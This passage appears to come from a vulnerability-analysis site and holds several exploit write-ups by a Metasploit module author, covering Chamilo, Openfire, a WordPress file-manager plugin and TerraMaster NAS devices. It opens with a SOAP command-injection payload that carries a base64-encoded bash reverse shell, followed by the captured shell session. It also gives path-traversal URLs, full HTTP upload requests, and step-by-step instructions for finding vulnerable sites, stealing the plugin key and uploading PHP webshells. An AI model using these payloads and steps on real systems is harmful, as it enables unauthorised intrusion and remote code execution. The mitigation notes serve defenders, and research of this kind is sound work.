          <value xsi:type="xsd:string">`{{}}`.pptx'|" |echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMS4xMC80NDQ0IDA+JjE=|base64 -d|bash||a #</value>
        </item>
        <item>
          <key xsi:type="xsd:string">service_ppt2lp_size</key>
          <value xsi:type="xsd:string">1108x524</value>
        </item>
      </param0>
    </ns1:wsConvertPpt>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

bash reverse shell

# nc -lnvp 4444
listening on [any] 4444 ...
connect to [192.168.201.10] from (UNKNOWN) [192.168.201.47] 49682
bash: cannot set terminal process group (35632): Inappropriate ioctl for device
bash: no job control in this shell
www-data@cuckoo:/var/www/html/chamilo/main/inc/lib/ppt2png$ uname -a
uname -a
Linux cuckoo 5.15.0-76-generic #83-Ubuntu SMP Thu Jun 15 19:16:32 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
www-data@cuckoo:/var/www/html/chamilo/main/inc/lib/ppt2png$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@cuckoo:/var/www/html/chamilo/main/inc/lib/ppt2png$

For now, the OS command injection only works on linux/unix based operating systems due to the use of the backtic ` operator.
Still playing around to find a Windows variant.

And as usual, there is a nice Metasploit module that does it all for you.
You can find the module here in my local repository or as PR 18233 at the Metasploit Github development.

This module has been tested on:

  • Ubuntu Linux 22.04
  • Chamilo 1.11.18
  • PHP 7.4

Instructions for a vulnerable Chamilo installation on Ubuntu 22.04:

Mitigation

Please update your Chamilo application to version 1.11.20 or higher.

References

Randorisec advisory
CVE-2023-34960
Chamilo Unauthenticated RCE – h00die-gr3y Metasploit local repository
Metasploit PR 18233
Chamilo release downloads
Chamilo installation instructions

Credits

Randorisec

2
Ratings
Technical Analysis

Openfire (previously known as Wildfire, and Jive Messenger) is an instant messaging (IM) and groupchat server for the Extensible Messaging and Presence Protocol (XMPP). It is written in Java and licensed under the Apache License 2.0.

On May 26, 2023, Openfire's administrative console, a web-based application, was found to be vulnerable to a path traversal attack via the setup environment using the path http://localhost:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/. Endpoints such as log.jsp, user-groups.jsp and user-create.jsp can be used to gain unauthorized admin access.
It allows an unauthenticated user to use the unauthenticated Openfire Setup Environment in an already configured Openfire environment to access restricted pages in the Openfire Admin Console reserved for administrative users.

The vulnerability affects all versions of Openfire that have been released since April 2015, starting with version 3.10.0 and is patched in Openfire release 4.7.5, 4.6.8 and 4.8.0 and later.

Reading the security advisory, it reminded me of a previous Openfire vulnerability CVE-2008-6508 discovered in 2008 that faced a similar issue. There is even an existing Metasploit module available a.k.a. exploit\multi\http\openfire_auth_bypass that exploits this vulnerability (see Metasploit PR 522).

With that in mind, it should be not too difficult to build a new variant that exploits the latest vulnerability CVE-2023-32315.

The attack sequence is quite simple:

  1. Grab the cookies using the path traversal vulnerability via http://<IP>:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/user-groups.jsp
  2. Use the cookies to add an admin user using the path traversal vulnerability via http://<IP>:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp
  3. Upload an Openfire plugin weaponized with a java payload triggering an RCE via endpoint http://<IP>:9090/plugin-admin.jsp. For step 3, you need understand how to create an customized Openfire plugin which is described in more detail here.

And as usual, I took the liberty to code a nice Metasploit module that does it all for you.
You can find the module here in my local repository or as PR 18173 at the Metasploit Github development.

This module has been tested on:

Ubuntu Linux 22.04

  • Openfire 3.10.1, 4.0.4, 4.1.0, 4.2.0, 4.3.0, 4.4.0, 4.5.0, 4.6.0. 4.7.0, 4.7.1, 4.7.3
  • Java 7, 8, 17

Windows Server 2019 Datacenter

  • Openfire 4.7.3
  • Java 20

You can setup your own testing environment by following the instructions below.

Instructions for an Openfire installation:
Download Openfire releases here.
Follow installation instructions here.

Mitigation

Please update your Openfire application to version 4.8.0 or higher and or upgrade to the patched versions 4.7.5 or 4.6.8.

References

Igniterealtime Security Advisory
CVE-2023-32315
Openfire Authentication Bypass RCE – h00die-gr3y Metasploit local repository
Metasploit PR 18173
Openfire plugin development
Openfire release downloads
Openfire installation instructions

1
Ratings
Technical Analysis

WordPress is one of the most used web application platforms on the Internet with million and million of installations. The platform provides a huge amount of content with so called plugins that enables certain functionality such as payment services, file managers, web forms, security and much more.
It is on one side great to have such rich functionality available in the platform, but the downside is that these plugins can also trigger a lot of vulnerabilities.
And indeed, the WordPress platform has become infamous for the huge amount of vulnerabilities introduced at the platform over the last couple of years.

This writeup is a perfect example where a plugin File Manager Advanced and an add-on File Manager Advanced Shortcode introduced a vulnerability where an unauthenticated malicious actor can upload a webshell and execute payloads that provides unauthorized access to the operating system below.

Let me first explain a bit what a shortcode is in the WordPress world.
A shortcode is a specially formatted text tag that opens and closes with square brackets and can be placed directly in a post or a page of your blog. This tag is automatically interpreted by WordPress and allows you to add features without having to program code. You can recognize a shortcode section by seeing brackets like [this], that performs a dedicated function on your site. You can place it just about anywhere you’d like, and it will add a specific feature to your page, post, or other content. For example, you can use shortcodes to display galleries, videos, or even playlists.

WordPress has several plugins that delivers specific functionality that you can use and the File Manager Advanced Shortcode plugin is one of these features that allows you to code File Manager Advanced functionality on a page or post using shortcodes.

The section below shows an example of a shortcode using the File Manager Advanced Shortcode plugin that allows you to upload or download files depending on the shortcode configuration. For instance, at the example below a login is required to upload or download files (authenticated).

[file_manager_advanced login="yes" roles="author,editor,administrator" path="wp-content" hide="plugins"
operations="download,upload" block_users="5" view="grid" theme="light" lang ="en" upload_allow="image/png" upload_max_size="2G"]

and the shortcode will provide the file manager functionality on the page below when published.

File Manager Advanced Shortcode.

So far, so good, but what is now exactly the issue with this plugin?

To understand this a bit better, let’s first explore what is happening under the hood if we upload a small png file (ruby.png).
We will capture the HTTP request and response with burpsuite.
The actual upload happens with a POST request and form data that is shown below.

POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.201.10
Content-Length: 2502
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1vP3o9u9S2AIn7Ex
Accept: */*
Origin: http://192.168.201.10
Referer: http://192.168.201.10/wordpress/index.php/fma-auth/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: wordpress_bbdf06293059980896f1ee8c0e8b218c=admin%7C1688056648%7CB7maHYtYiY720ai72sOLpfz8j0hSdisDFJqvoSYsqgK%7C690658a3c5dab7494d7840e3d4ecfdfdf17494f6ae163a3fd3ac8093e1529784; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_bbdf06293059980896f1ee8c0e8b218c=admin%7C1688056648%7CB7maHYtYiY720ai72sOLpfz8j0hSdisDFJqvoSYsqgK%7C5666c9036374c0c892b17a6abaf647dc5baf618ca489084627fde0df45b80d8f; wfwaf-authcookie-dd668d04efe9e4ab71eb81bd40139a86=1%7Cadministrator%7Cmanage_options%2Cunfiltered_html%2Cedit_others_posts%2Cupload_files%2Cpublish_posts%2Cedit_posts%2Cread%7C0f200eccb75504c01e48ae0344893dd5df62a8aad161c24058089881c58bfbfc; PHPSESSID=2csqd51ghug6138llcu5dtskjm
Connection: close

------WebKitFormBoundary1vP3o9u9S2AIn7Ex
Content-Disposition: form-data; name="reqid"

188fdc67f782e3
------WebKitFormBoundary1vP3o9u9S2AIn7Ex
Content-Disposition: form-data; name="cmd"

upload
------WebKitFormBoundary1vP3o9u9S2AIn7Ex
Content-Disposition: form-data; name="target"

l1_Lw
------WebKitFormBoundary1vP3o9u9S2AIn7Ex
Content-Disposition: form-data; name="action"

fma_load_shortcode_fma_ui
------WebKitFormBoundary1vP3o9u9S2AIn7Ex
Content-Disposition: form-data; name="_fmakey"

d2ef442bd5
------WebKitFormBoundary1vP3o9u9S2AIn7Ex
Content-Disposition: form-data; name="path"

wp-content
------WebKitFormBoundary1vP3o9u9S2AIn7Ex
Content-Disposition: form-data; name="url"


------WebKitFormBoundary1vP3o9u9S2AIn7Ex
Content-Disposition: form-data; name="w"

false
------WebKitFormBoundary1vP3o9u9S2AIn7Ex
Content-Disposition: form-data; name="r"

true
------WebKitFormBoundary1vP3o9u9S2AIn7Ex
Content-Disposition: form-data; name="hide"

plugins
------WebKitFormBoundary1vP3o9u9S2AIn7Ex
Content-Disposition: form-data; name="operations"

download,upload
------WebKitFormBoundary1vP3o9u9S2AIn7Ex
Content-Disposition: form-data; name="path_type"

inside
------WebKitFormBoundary1vP3o9u9S2AIn7Ex
Content-Disposition: form-data; name="hide_path"

no
------WebKitFormBoundary1vP3o9u9S2AIn7Ex
Content-Disposition: form-data; name="enable_trash"

no
------WebKitFormBoundary1vP3o9u9S2AIn7Ex
Content-Disposition: form-data; name="upload_allow"

image/png
------WebKitFormBoundary1vP3o9u9S2AIn7Ex
Content-Disposition: form-data; name="upload_max_size"

2G
------WebKitFormBoundary1vP3o9u9S2AIn7Ex
Content-Disposition: form-data; name="upload[]"; filename="ruby.png"
Content-Type: image/png

PNG
<PNG content>

------WebKitFormBoundary1vP3o9u9S2AIn7Ex
Content-Disposition: form-data; name="mtime[]"

1687884791
------WebKitFormBoundary1vP3o9u9S2AIn7Ex--

The question is of course, what will happen if we start manipulating the parameters in the form data and issue a POST request again.
Will that work?
Lets try an LFI, by manipulating the path parameter which is set to wp-content directory but will be set to empty (basically set to the wordpress root directory).

Surprise, surprise !!!!
ruby.png get nicely uploaded in the wordpress root directory.

HTTP/1.1 200 OK
Date: Tue, 27 Jun 2023 17:13:33 GMT
Server: Apache/2.4.57 (Debian)
Access-Control-Allow-Origin: http://192.168.201.10
Access-Control-Allow-Credentials: true
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Pragma: no-cache
Set-Cookie: PHPSESSID=h7komipqhl6l43bfq0beqgi23f; path=/
Content-Length: 1742
Connection: close
Content-Type: application/json; charset=utf-8

{"added":[
   {
     "isowner":false,
     "ts":1687886014,
     "mime":"image\/png",
     "read":1,
     "write":1,
     "size":"592",
     "hash":"l1_cnVieS5wbmc",
     "name":"ruby.png",
     "phash":"l1_Lw",
     "tmb":1,
     "url":"http:\/\/192.168.201.10\/wordpress\/ruby.png"
   }
],

What if we try to bypass authentication by removing the cookies. Will that work?
Of course, the file gets nicely uploaded again.

Last but not least, can manipulate the mime-types to upload PNG images files with embedded PHP code that we can execute.
And again the answer is yes. See this video on YouTube.

Basically, you can manipulate all parameters as long as you have the _fmakey. This is the only parameter that needs to be set to issue a POST request that allows for all kind of operations, like upload, download and others.

What is exactly this _fmakey and more important, where do we find it?

I could not find much on this key, but we need to set this key to get the POST request satisfied.
Man would think that it would be encrypted during runtime with a complex encryption algorithm, but the reality is much simpler.
The _fmakey and its value is stored on the web page where File Manager Advanced shortcode functionality is embedded. With view source you can easily find it on the web page (see the excerpt below).

<script src='http://192.168.201.10/wordpress/wp-content/plugins/file-manager-advanced-shortcode/js/shortcode.js?ver=6.2.2' id='file_manager_advanced-fma-shortcode-js-js'></script>
<script id='file_manager_advanced-fma-shortcode-js-js-after'>
jQuery(document).ready(function(){
	var afmui = ['toolbar', 'tree', 'path', 'stat'];
	var fma_ui_opt = '';
	if(fma_ui_opt != '') {
	  var fmui_params = fma_ui_opt;
	if(fmui_params == 'files') {
	  var afmui = [];
	} else 
	  var afmui = fmui_params.split(',');
	 }
   jQuery('#file_manager_advanced').elfinder(
	  {
		  cssAutoLoad : false, 
		  url : 'http://192.168.201.10/wordpress/wp-admin/admin-ajax.php',						
		  lang:  'en',					
		  defaultView : 'grid',
		  dateFormat : 'M d, Y h:i A',
		  customData : {action: 'fma_load_shortcode_fma_ui',
		 _fmakey: 'd2ef442bd5',
		  path:'wp-content',
		  url: '',
		  w: 'false',
		  r: 'true',
		  hide: 'plugins',
		  operations: 'download,upload',
		  path_type: 'inside',
		  hide_path: 'no',
		  enable_trash: 'no',
		  upload_allow: 'image/png',
		  upload_max_size: '2G',
	      },
		  height: '',
		  width: '',
		  ui: afmui,
	  });
});
</script>

For older versions of the plugin, you have to search for the _fmakey on the page embedded in the fmaatts var.

var fmaatts = {"ajaxurl":"http:\/\/192.168.201.55\/wp-admin\/admin-ajax.php","lang":"us","view":"grid","dateformat":"M d, Y h:i A","action":"fma_load_shortcode_fma_ui","fmakey":"92b7949dd9","path":"wp-content\/uploads\/musicfiles","url":"","w":"false","r":"true","hide":"plugins","operations":"all","path_type":"inside"};

Well, how easy can you make it for an attacker to craft a POST request that uploads a malicious file with payload that can be executed.
I would say, DEAD EASY!!!

The steps are simple.

  1. Find WordPress web sites with pages where the _fmakey is embedded (TIP: use a Source Code Search Engine like PublicWWW).
  2. Retrieve the _fmakey.
  3. Craft a POST request that uploads a malicious PNG file with PHP code embedded by using the _fmakey and manipulating the cmd, operations and mime-types parameters.
  4. Execute the malicious PNG file and enjoy a reverse shell or meterpreter.

Of course, I took the liberty to code a nice Metasploit module that does it all for you.
You can find the module here in my local repository or as PR 18142 at the Metasploit Github development.

I have tested the module on a WordPress base installation version 6.2.2 on Linux and Windows Server 2019 with File Manager Advanced 5.0.5 and File Manager Advanced Shortcode 2.3.2 installed. Works as a charm…

Also tested the module with a basic setup of WordFence and it bypassed the WAF as far as I could test it.

Mitigation

Please update your File Manager Advanced plugin to version 5.1 or higher and update the File Manager Advanced Shortcode plugin to version 2.4 or higher.

References

WPScan advisory
File Manager Advanced Shortcode RCE – h00die-gr3y Metasploit local repository
Metasploit PR 18142
Exploit DB
Packet Storm

Credits

Mateus Machado Tesser Discovery

1
Ratings
Technical Analysis

This is the third exploit a.k.a. TerrorMaster 3 targeting TerraMaster NAS devices running TerraMaster Operating System (TOS) 4.2.29 or lower.

Octagon Networks published in March 2022 an analysis CVE-2022-24990: TerraMaster TOS unauthenticated remote command execution via PHP Object Instantiation explaining a chain of vulnerabilities that makes all TerraMaster NAS servers running TOS version 4.2.29 and lower vulnerable for an unauthenticated RCE.

It basically combines CVE-2022-24990: Leaking sensitive information and CVE-2022-24989: Authenticated remote code execution to achieve an unauthenticated RCE by exploiting vulnerable endpoint api.php?mobile/webNasIPS leaking sensitive information such as admin password hash and mac address to achieve unauthenticated access and use the vulnerable endpointapi.php?mobile/createRaid with POST parameters raidtype / diskstring to execute remote code as root on TerraMaster NAS devices.

As usual, you can find the third module here in my local repository or as PR 18086 submitted at the Metasploit Github development.

With release of TOS 5.x, all of these vulnerabilities are now mitigated, but I would not be surprised that in the near future, some new exploits will come to surface looking back at the ugly history of TerraMaster flaws in the past.

Mitigation

Please update your TOS version up to the latest supported TOS 4.2.x version or TOS 5.x version to be protected against all known vulnerabilities and do NOT to expose your TerraMaster NAS devices directly to the Internet.

References

CVE-2022-24990: TerraMaster TOS unauthenticated remote command execution via PHP Object Instantiation
POC 0xf4n9x
CVE-2022-24990
CVE-2022-24989
TerrorMaster 3 – h00die-gr3y Metasploit local repository
TerrorMaster 3 – Metasploit PR 18086
TerrorMaster 1
TerrorMaster 2

Credits

Octagon Networks
0xf4n9x

2
Ratings
Technical Analysis

This the second module in the sequel of TerrorMaster releases.

TerrorMaster 2 is based on the vulnerability analysis work of n0tme that was conducted in December 2021 during Christmas time.
N0tme discovered a few new vulnerabilities on the TerraMaster F2-210 and F4-210 model and chained them together into an unauthenticated RCE.
The full analysis can be found here How to summon RCEs.

In this article, I will only quickly summarize the RCE chain and introduce the Metasploit module.

The Terramaster chained exploit uses session crafting to achieve escalated privileges that allows an attacker to access vulnerable code execution flaws. TOS versions 4.2.15 and below are affected.
CVE-2021-45839 is exploited to obtain the first administrator’s hash set up on the system as well as other information such as MAC address, by performing a POST request to the /module/api.php?mobile/webNasIPS vulnerable endpoint.
This information is used to craft an unauthenticated admin session using CVE-2021-45841 where an attacker can self-sign session cookies by knowing the target MAC address and the user password hash.
Guest users (disabled by default) can be abused using a null/empty hash and allow an unauthenticated attacker to login as guest. This is used to download the /etc/group info to obtain the list of admin users, used to establish an unauthenticated admin session thru session crafting..

Finally, CVE-2021-45837 is exploited to execute arbitrary commands as root by sending a specifically crafted input to vulnerable endpoint /tos/index.php?app/del.

I slightly modified the original POC where the vulnerable endpoint /module/api.php?mobile/wapNasIPS was used to obtain the admin hash. In some cases, it did not provide this info, whilst endpoint /module/api.php?mobile/webNasIPS has proven to be more reliable.

As usual, you can find the module here in my local repository or as PR 18070 at the Metasploit Github development.

Mitigation

Please update your TOS version up to the latest supported TOS 4.2.x version or TOS 5.x version to be protected against all known vulnerabilities and do NOT to expose your TerraMaster NAS devices directly to the Internet.

References

How to summon RCEs by n0tme
CVE-2021-45839
CVE-2021-45841
CVE-2021-45837
TerrorMaster 2 – h00die-gr3y Metasploit local repository
TerrorMaster 2 – Metasploit PR 18070
TerrorMaster 1
TerrorMaster 3

Credits

N0tme